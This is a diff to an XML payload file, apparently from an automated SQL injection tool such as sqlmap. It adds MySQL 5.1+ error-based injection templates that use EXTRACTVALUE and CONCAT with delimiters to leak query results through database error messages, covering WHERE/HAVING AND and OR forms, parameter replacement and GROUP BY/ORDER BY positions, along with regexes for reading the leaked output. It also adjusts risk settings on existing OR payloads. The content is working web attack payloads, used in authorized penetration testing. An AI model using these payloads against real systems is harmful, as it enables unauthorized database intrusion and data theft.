diff --git a/xml/payloads.xml b/xml/payloads.xml
index a5af03428..f8fa292c5 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1009,6 +1009,26 @@ Formats:
+
+ MySQL >= 5.1 AND error-based - WHERE or HAVING clause
+ 2
+ 2
+ 0
+ 1
+ 1
+ AND EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+ AND EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
MySQL >= 4.1 AND error-based - WHERE or HAVING clause
2
@@ -1187,11 +1207,31 @@ Formats:
+
+ MySQL >= 5.1 OR error-based - WHERE or HAVING clause
+ 2
+ 3
+ 2
+ 1
+ 1
+ OR EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+ OR EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
MySQL >= 4.1 OR error-based - WHERE or HAVING clause
2
2
- 0
+ 2
1
2
OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1)
@@ -1211,7 +1251,7 @@ Formats:
MySQL OR error-based - WHERE or HAVING clause
2
3
- 0
+ 2
1
2
OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)
@@ -1392,6 +1432,26 @@ Formats:
+
+ MySQL >= 5.1 - Parameter replace
+ 2
+ 3
+ 0
+ 1,2,3
+ 3
+ (EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')))
+
+ (EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
PostgreSQL error-based - Parameter replace
2
@@ -1493,6 +1553,26 @@ Formats:
+
+ MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses
+ 2
+ 3
+ 0
+ 2,3
+ 1
+ ,EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
+
+ ,EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
PostgreSQL error-based - GROUP BY and ORDER BY clauses
2